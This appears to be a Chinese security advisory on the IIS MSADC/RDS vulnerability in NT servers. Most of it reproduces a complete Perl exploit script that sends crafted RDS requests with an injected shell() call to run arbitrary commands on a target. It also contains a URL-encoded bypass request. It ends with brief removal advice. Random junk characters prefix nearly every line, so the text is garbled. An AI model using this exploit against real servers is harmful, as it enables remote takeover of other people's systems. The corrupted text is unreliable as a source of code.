IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)h6hN"#V5 GqMa|8j 涉及程序:
c7UmR?m Microsoft NT server
VT8PV5z jd8`D6|Z 描述:
,V1/(|[h 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
!m"LIa#/Cs \X.CYkgK 详细:
7r;7'X5 如果你没有时间读详细内容的话,就删除:
Jmrs@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
W; yNg 有关的安全问题就没有了。
"O{j}QwY *`2.WF@E) 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
=lT~ I,TJV)B 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
,cZhkXd
关于利用ODBC远程漏洞的描述,请参看:
l/1u>' R % [ZQK http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7=i8$v&GX -AnQZy 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
2;Vss<hR4A http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~e*3_l>9 =^8*]/k 这里不再论述。
5&?[Vt x\PZ.o 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
P 4Vi~zMX
<7'`N\a /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
a%| I'r 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
tpu2e*n-| URU,&gy= 0U|t@&q #将下面这段保存为txt文件,然后: "perl -x 文件名"
Hdvtgss! HYcLXh vgu #!perl
o>WB,i^ G #
<Qg).n>;z # MSADC/RDS 'usage' (aka exploit) script
v:\8 #
4/KGrY!ck # by rain.forest.puppy
KuBN_bd #
4'3do>! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
21NGsG # beta test and find errors!
paKur%2u 0RHKzk6~c use Socket; use Getopt::Std;
be?>C
5 getopts("e:vd:h:XR", \%args);
],`xd_=]= A*+pGQ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qt_ocOr mJ+M|#Ox if (!defined $args{h} && !defined $args{R}) {
pH&*5=t} print qq~
T_t5Tg~i[N Usage: msadc.pl -h <host> { -d <delay> -X -v }
aQ!QrTua- -h <host> = host you want to scan (ip or domain)
-R%T Dx -d <seconds> = delay between calls, default 1 second
9mE6Cp.Wv -X = dump Index Server path table, if available
=MR.*m{ -v = verbose
MoAie|MKe -e = external dictionary file for step 5
1oKF-";u( .8o?` Or a -R will resume a command session
*vy^=Yea
{!RDb'Zp ~; exit;}
f3yH4r?;w 7Qdf#DG $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U
?iw if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#jrtsv] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
E_q/*}]pE if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
L
hp $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
jej.!f:H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~[8n+p+&X rR Kbs@1M if (!defined $args{R}){ $ret = &has_msadc;
q+iG:B /Z die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%G0J]QY{(x 4X-" yQ<U print "Please type the NT commandline you want to run (cmd /c assumed):\n"
CdBpz/ . "cmd /c ";
Vz.G!*>Dg $in=<STDIN>; chomp $in;
ak,KHA6u $command="cmd /c " . $in ;
%x'}aTa } 6 ,m2u if (defined $args{R}) {&load; exit;}
)Ehi8 LN z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
su$IXI#R-& &try_btcustmr;
.7K)' &9Y ^/W print "\nStep 2: Trying to make our own DSN...";
In[rxT~K}Q &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
BiY-u/bH9a zA%YaekJ print "\nStep 3: Trying known DSNs...";
mkE_ a> &known_dsn;
sKy3('5; <OH{7>V print "\nStep 4: Trying known .mdbs...";
` ~w|Xz &known_mdb;
=Bg $OX #B!|sXC if (defined $args{e}){
jJY{np print "\nStep 5: Trying dictionary of DSN names...";
w"`Zf7a{/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
jKh:}yl4 }_/]f!] print "Sorry Charley...maybe next time?\n";
D`|8Og exit;
gmUXh;aHc 7vo8lnQ{ ##############################################################################
Ln'y 3~@ ,.kJF4s& sub sendraw { # ripped and modded from whisker
H(hE;|q/ sleep($delay); # it's a DoS on the server! At least on mine...
-Oi8]Xw^@y my ($pstr)=@_;
@T"-%L8PL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[psZc'q die("Socket problems\n");
dhX$b!DA if(connect(S,pack "SnA4x8",2,80,$target)){
^h$^j select(S); $|=1;
b(IZ:ekZ5 print $pstr; my @in=<S>;
(himx8Uml2 select(STDOUT); close(S);
<x8I<K return @in;
lw]uH<v } else { die("Can't connect...\n"); }}
eo@kn yA<& hv ##############################################################################
iQJa6QF&: # a`D6; sub make_header { # make the HTTP request
)/t&a$[ my $msadc=<<EOT
(*M*muk POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.5" s[(S User-Agent: ACTIVEDATA
lfAiW;giJ Host: $ip
TU6(Q,Yi| Content-Length: $clen
$`A{-0=x\U Connection: Keep-Alive
S$O5jX 0 4#Xz-5v ADCClientVersion:01.06
!/a![Ne Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%G|Rb MP jY2mn" .N --!ADM!ROX!YOUR!WORLD!
0 <E2^ Content-Type: application/x-varg
eB&.keO
Content-Length: $reqlen
qfkdQ/fP y7t'I.E[+ EOT
\0W0 o5c$ ; $msadc=~s/\n/\r\n/g;
v<Ywfb return $msadc;}
mm9uhlV8 *rgF[
: ##############################################################################
y6dQ4Whv& )Q 5 x% sub make_req { # make the RDS request
dWx@<(`OC my ($switch, $p1, $p2)=@_;
VA>0Y my $req=""; my $t1, $t2, $query, $dsn;
HUAbq } 3(Ns1/;?, if ($switch==1){ # this is the btcustmr.mdb query
'3w%K+eJY $query="Select * from Customers where City=" . make_shell();
5hHLC7tT9 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
#bJp)&LO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.=)[S5.BVq ~,_@|,) elsif ($switch==2){ # this is general make table query
nC%<BatQ $query="create table AZZ (B int, C varchar(10))";
]v/pMg#- $dsn="$p1";}
NQGa=kXeJ 4ClSl#X#i elsif ($switch==3){ # this is general exploit table query
y!dw{Lz $query="select * from AZZ where C=" . make_shell();
48Jt5Jz_ $dsn="$p1";}
l^XOW- ;u No8-Hm elsif ($switch==4){ # attempt to hork file info from index server
$dxA7 `L $query="select path from scope()";
%)72glB $dsn="Provider=MSIDXS;";}
Ge @qvP_ ^AShy`o^X elsif ($switch==5){ # bad query
i)] f0F $query="select";
P(s:+ $dsn="$p1";}
VJ8'T"^Hf ny%$BQM= $t1= make_unicode($query);
}= wor~ $t2= make_unicode($dsn);
=:Yrb2gP_\ $req = "\x02\x00\x03\x00";
FWB
*=.A9 $req.= "\x08\x00" . pack ("S1", length($t1));
52 *ii $req.= "\x00\x00" . $t1 ;
jo?[M $req.= "\x08\x00" . pack ("S1", length($t2));
~F53{qxV $req.= "\x00\x00" . $t2 ;
YV _ 7 .+A $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&"?99E> return $req;}
Z4X, D`s l1#.rg ##############################################################################
QI'-I\Co NiFe#SLA sub make_shell { # this makes the shell() statement
.R@s6}C`}= return "'|shell(\"$command\")|'";}
aZ|?i
} M KX+'p\w ##############################################################################
LzJ`@0RrX <$@I*xk[ sub make_unicode { # quick little function to convert to unicode
,N_/J4Us my ($in)=@_; my $out;
wMw}3qX$j for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
U {Knjo S return $out;}
o*artMkG Y]=k"]:% ##############################################################################
"hQGk JQ;.+5
N<K sub rdo_success { # checks for RDO return success (this is kludge)
Yg?BcY\ my (@in) = @_; my $base=content_start(@in);
P^# 4m if($in[$base]=~/multipart\/mixed/){
Y]*&\Ex"\ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j/_&]6! return 0;}
C0K:
ffv;< fdWqc_ ##############################################################################
0l4f%'f >gs_Bzy] sub make_dsn { # this makes a DSN for us
^Zp my @drives=("c","d","e","f");
5]GgjQ print "\nMaking DSN: ";
Zwz co foreach $drive (@drives) {
x N7sFSV@ print "$drive: ";
i6A9|G$H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
AN6Q~%, "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
:\I*_00! . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]DU?N7J $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_Rb2jq(&0 return 0 if $2 eq "404"; # not found/doesn't exist
<[D>[ if($2 eq "200") {
|AacV foreach $line (@results) {
7p hf return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
D)pTE?@W' } return 0;}
j>e RV ol 0{uaSR ##############################################################################
g~b$WV% 5~/EAK` sub verify_exists {
@tPr\F my ($page)=@_;
c{dabzLy my @results=sendraw("GET $page HTTP/1.0\n\n");
_;U%`/T b return $results[0];}
n((A:b 6D[]Jf,9 ##############################################################################
FF#+d~$z zH Z;Y^{+ sub try_btcustmr {
n1b:Bv4"]# my @drives=("c","d","e","f");
w~'}uh my @dirs=("winnt","winnt35","winnt351","win","windows");
}3 _b%{ -ycdg'v foreach $dir (@dirs) {
mhX66R print "$dir -> "; # fun status so you can see progress
WR`NISSp foreach $drive (@drives) {
83I 5n&) print "$drive: "; # ditto
%k32:qe $reqlen=length( make_req(1,$drive,$dir) ) - 28;
]jm:VF]4 $reqlenlen=length( "$reqlen" );
?]D))_|G $clen= 206 + $reqlenlen + $reqlen;
-|^)8 GA$fueiQNs my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"&/2@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
g`Cv[Pq?at else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$/|) ,n \y:48zd ##############################################################################
"oNl!<ep UKZ)Boo sub odbc_error {
Vs{\ YfF my (@in)=@_; my $base;
s3nO"~tM my $base = content_start(@in);
[>r0
(x&. if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:b(W&iBWhI $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{:("oK6w $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b=1E87i@W $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\lm]G7h return $in[$base+4].$in[$base+5].$in[$base+6];}
^r.CUhx) print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
L'S,=NYXY print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)qw;KG0F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qljsoDG :UP8nq ##############################################################################
9M3"'^ {$ Osm))Ua( sub verbose {
d"miPR my ($in)=@_;
%7}j|eS)G return if !$verbose;
9]w?mHslE print STDOUT "\n$in\n";}
"f_qG2A{ K)wWqC. ##############################################################################
PU,$YPrZ X ?[ )e sub save {
D>7J[ Yxg- my ($p1, $p2, $p3, $p4)=@_;
J{prI;]K open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(YYg-@IO print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Jy%?"wn close OUT;}
OR!W3
@ Fz,jnV9=j ##############################################################################
+)WU:aKI >(ip-R sub load {
^d{5GK' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Q8AAu&te7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+x}9a~QG# @p=<IN>; close(IN);
~=iH*AQR $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
K)mQcB-"? $target= inet_aton($ip) || die("inet_aton problems");
<{bxOr+ print "Resuming to $ip ...";
Q2- lHn^L: $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
N'9T*&o+ if($p[1]==1) {
:&TM0O $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
aK
-x{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
M @-:iP my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
u "jV#,, if (rdo_success(@results)){print "Success!\n";}
RU4X#gP4Vh else { print "failed\n"; verbose(odbc_error(@results));}}
(@5`beEd elsif ($p[1]==3){
n`&D_AbQ if(run_query("$p[3]")){
J](NCD print "Success!\n";} else { print "failed\n"; }}
@WS77d~S elsif ($p[1]==4){
86 e13MF if(run_query($drvst . "$p[3]")){
;J TY#)Bh print "Success!\n"; } else { print "failed\n"; }}
e9RYk:O exit;}
[V:~j1{3 $8UW^#Bpq ##############################################################################
kt)Et $7DW-TA sub create_table {
"QNQ00[T`> my ($in)=@_;
MkoK(m{7 $reqlen=length( make_req(2,$in,"") ) - 28;
r>peKo[X( $reqlenlen=length( "$reqlen" );
bV&9>fC $clen= 206 + $reqlenlen + $reqlen;
gAdqZJR%] my @results=sendraw(make_header() . make_req(2,$in,""));
:M6v<Kg{; return 1 if rdo_success(@results);
yT_W\"=8 my $temp= odbc_error(@results); verbose($temp);
`}#rcDK return 1 if $temp=~/Table 'AZZ' already exists/;
lMGO4U[z return 0;}
m","m jL^@;"/XhC ##############################################################################
czD"mI! 2I }p X9 sub known_dsn {
>x;\H(g # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
aF^NYe my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
94ruQ/ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
iLuC_.'u= "banner", "banners", "ads", "ADCDemo", "ADCTest");
}8Y! -qX (vZ-0Ep} foreach $dSn (@dsns) {
m
=b7
r print ".";
Uc {m##! next if (!is_access("DSN=$dSn"));
8R3{YJ6@T if(create_table("DSN=$dSn")){
xt?-X%oY8 print "$dSn successful\n";
.6C/,rQ?c if(run_query("DSN=$dSn")){
3;BIwb_ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=;uMrb4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
N~8H\ }-Mg&~e` ##############################################################################
d2#NRqgQ e7@ m i sub is_access {
Mt-r`W3 q my ($in)=@_;
1l#46?]~ $reqlen=length( make_req(5,$in,"") ) - 28;
j@z IJ $reqlenlen=length( "$reqlen" );
HbA/~7 $clen= 206 + $reqlenlen + $reqlen;
u7hu8U= my @results=sendraw(make_header() . make_req(5,$in,""));
j9[I6ko5' my $temp= odbc_error(@results);
$YEm(:v$ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
-9t"$)& return 0;}
mYgfGPF` Mi8)r_l%O ##############################################################################
[cd1Mf:[Y ]A=\P,D sub run_query {
~?ezd0 my ($in)=@_;
)xV37] $reqlen=length( make_req(3,$in,"") ) - 28;
]E<Z5G1HD $reqlenlen=length( "$reqlen" );
T\}U{9ELL $clen= 206 + $reqlenlen + $reqlen;
O68-G
my @results=sendraw(make_header() . make_req(3,$in,""));
JpfA+r return 1 if rdo_success(@results);
>[;@
[4} my $temp= odbc_error(@results); verbose($temp);
F*PhV|XU return 0;}
-/JEKwc (^}t ##############################################################################
?lsK?>uU .u7}p# sub known_mdb {
xyGwYv>*KO my @drives=("c","d","e","f","g");
34u[#O{2 my @dirs=("winnt","winnt35","winnt351","win","windows");
cr!W5+r my $dir, $drive, $mdb;
Jh
E C my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
iX+8!>Q JKM(fX+ # this is sparse, because I don't know of many
0AQ4:KV(Y my @sysmdbs=( "\\catroot\\icatalog.mdb",
"?3=FBp& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
dRJ
](Gw "\\system32\\certmdb.mdb",
'OtTq8G "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
fAULuF -`k>(\Q<d my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9BtGzI\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
b}R_@_<u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
TI7$J# "\\cfusion\\cfapps\\security\\realm_.mdb",
X#&5?oq` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5eori8gr7 "\\cfusion\\database\\cfexamples.mdb",
rV%68x9 "\\cfusion\\database\\cfsnippets.mdb",
_Rii19k "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Ea@0>_U| "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
_ Lh0 "\\cfusion\\brighttiger\\database\\cleam.mdb",
a|u#w~ "\\cfusion\\database\\smpolicy.mdb",
ZTzec zXpQ "\\cfusion\\database\cypress.mdb",
9<_hb1' "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+x
3x "\\website\\cgi-win\\dbsample.mdb",
YP02/*' "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
gt}Atr6>_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
DA
"V) ); #these are just
<=7nTcO~ foreach $drive (@drives) {
TRi# foreach $dir (@dirs){
FTZ=u0 foreach $mdb (@sysmdbs) {
);.$`0 print ".";
=Q_1Mr4O if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ta)gOc)r
R print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5?>4I"ne if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
KY print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
k_V+;&:% } else { print "Something's borked. Use verbose next time\n"; }}}}}
f 3H uT=n oDA'$]UL foreach $drive (@drives) {
gGVt( ^ foreach $mdb (@mdbs) {
#H~55 ))F print ".";
,/+Mp if(create_table($drv . $drive . $dir . $mdb)){
#,#_" print "\n" . $drive . $dir . $mdb . " successful\n";
;O hQBAC if(run_query($drv . $drive . $dir . $mdb)){
yQrgOdo,w print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
<
c^'$ } else { print "Something's borked. Use verbose next time\n"; }}}}
2.Vrh@FNRo }
bPOPoq1# e#;43=/Ia ##############################################################################
"rn Z3TCi7,m sub hork_idx {
(10t,n$ print "\nAttempting to dump Index Server tables...\n";
QlGK+I>y; print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
,'(|,f42 $reqlen=length( make_req(4,"","") ) - 28;
X
<xM ' $reqlenlen=length( "$reqlen" );
Dr.eos4 ~ $clen= 206 + $reqlenlen + $reqlen;
;
pBLmm*F my @results=sendraw2(make_header() . make_req(4,"",""));
u;t<rEC2 if (rdo_success(@results)){
1Gr^,Ry my $max=@results; my $c; my %d;
-KGJr for($c=19; $c<$max; $c++){
0BC@wV $results[$c]=~s/\x00//g;
~%*l>GkP* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
U%@PY9# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"> Qxb.Y} $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
PL=v,NB $d{"$1$2"}="";}
vb~%u;zrC@ foreach $c (keys %d){ print "$c\n"; }
;&j'`tP } else {print "Index server doesn't seem to be installed.\n"; }}
)W\)kDh! wnX;eU/n ##############################################################################
viG= Ap.Th 6n2RT H sub dsn_dict {
w@-G_-6W open(IN, "<$args{e}") || die("Can't open external dictionary\n");
2`]c&k;] while(<IN>){
%.$!VTO" $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
uY~mi9E next if (!is_access("DSN=$dSn"));
/9ORVV if(create_table("DSN=$dSn")){
IMD^(k 2 print "$dSn successful\n";
]&]G if(run_query("DSN=$dSn")){
@TALZk'% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|2^mCL.r print "Something's borked. Use verbose next time\n";}}}
oqwW print "\n"; close(IN);}
!6|_`l>G, c:K/0zY ##############################################################################
zdJPMNHg Nt8"6k_ sub sendraw2 { # ripped and modded from whisker
\*CXXp` sleep($delay); # it's a DoS on the server! At least on mine...
c_qox my ($pstr)=@_;
)$^xbC#j`3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3/vtx9D die("Socket problems\n");
\/1~5mQ+ if(connect(S,pack "SnA4x8",2,80,$target)){
LBG`DYR@
print "Connected. Getting data";
z\tY A open(OUT,">raw.out"); my @in;
Q+Nnj(AQY select(S); $|=1; print $pstr;
@~2k5pa while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
AIOGa<^ close(OUT); select(STDOUT); close(S); return @in;
YTTy6*\,_ } else { die("Can't connect...\n"); }}
jW#dUKS( i%133in ##############################################################################
L?u{v X \)28,` sub content_start { # this will take in the server headers
auN8M. my (@in)=@_; my $c;
yam'LF for ($c=1;$c<500;$c++) {
Qf0P"s` if($in[$c] =~/^\x0d\x0a/){
w31O~Ve if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
^kNVQJiZyG else { return $c+1; }}}
=Jl\^u%H(x return -1;} # it should never get here actually
[UkcG9 X#axCDM- ##############################################################################
0i[t[_sce bP$e1I3` sub funky {
7x`$ A my (@in)=@_; my $error=odbc_error(@in);
eW.qMx#:od if($error=~/ADO could not find the specified provider/){
z&!o1uq print "\nServer returned an ADO miscofiguration message\nAborting.\n";
JL_(%._J exit;}
`GqF/?i if($error=~/A Handler is required/){
XzV>q~I3|E print "\nServer has custom handler filters (they most likely are patched)\n";
hRuiuGC exit;}
!m\By%( if($error=~/specified Handler has denied Access/){
u*l>)_HD print "\nServer has custom handler filters (they most likely are patched)\n";
'(r?($s exit;}}
%tkqWK: 5%( ##############################################################################
Pq~#SxA~ W\<OCD%X sub has_msadc {
rMG[,:V my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
WClprSl8 my $base=content_start(@results);
dh]Hf,OLF return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<8%+-[(
return 0;}
vH6(p(l >7a
ENKOg: ########################
fPN/Mxu r|Uz? 8Ie0L3d- 解决方案:
|qpm
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@I Y<i5( 2、移除web 目录: /msadc